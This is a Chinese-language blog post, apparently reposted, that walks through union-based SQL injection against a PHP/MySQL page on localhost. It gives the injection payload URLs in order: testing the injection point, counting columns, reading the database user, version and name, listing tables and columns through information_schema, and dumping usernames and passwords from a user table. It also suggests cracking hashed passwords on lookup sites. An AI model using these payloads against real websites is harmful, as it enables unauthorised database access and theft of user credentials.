php.mysql 个人网站,php网站mysql漏洞注入

1、首先找到可以注入链接

如http://localhost:8080/hacktest/?id=10

利用http://localhost:8080/hacktest/?id=10

and 1=1

如果没有报错则进行

http://localhost:8080/hacktest/?id=10 and

1=2

如果报错了则证明有注入点

2、查找当前查询的数据有多少个字段

, 以便其他数据的获取

http://localhost:8080/hacktest/?id=10 and

1=2 union select 1

http://localhost:8080/hacktest/?id=10 and

1=2 union select 1,2

当不会报错时 ,则说明当前的字段数

3、获取数据库的用户,版本,及其数据库名称

获取链接数据库用户名

http://localhost:8080/hacktest/?id=10 and

1=2 union select user(),2

获得链接的数据root@localhost

http://localhost:8080/hacktest/?id=10 and 1=2

union select version(),2

获得数据的版本5.5.8-log

http://localhost:8080/hacktest/?id=10 and

1=2 union select database(),2

获得数据库名称test

4、从数据库名称中获取所有表名

http://localhost:8080/hacktest/?id=10 and

1=2 union select group_concat(distinct table_name),2 from information_schema.tables

where table_schema=0x74657374

// test数据库名的16进制0x74657374、

获取到的表明

articles,blog,dept,emp,list,news,o,p,salgrade,t1,test_info,test_shop,test_user

5、例如blog是存放登陆用户的名称 , 我们就获取blog的字段

http://localhost:8080/hacktest/?id=10 and

1=2 union select group_concat(distinct column_name ),2 from

information_schema.columns where table_name=0x626C6F67

//blog表名的16进制0x626C6F67

id,username,password,que,ans,email,birthday,intro

6、读取blog中的用户名 ,

密码( username,password )

http://localhost:8080/hacktest/?id=10 and 1=2

union select username,password from blog order by rand()

获取账号名称和密码,如果密码是有加密的话,可以到解密的网站去查询下

Admin admin

版权声明:未经博主允许不得转载。http://www.smister.com/post-10.html

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值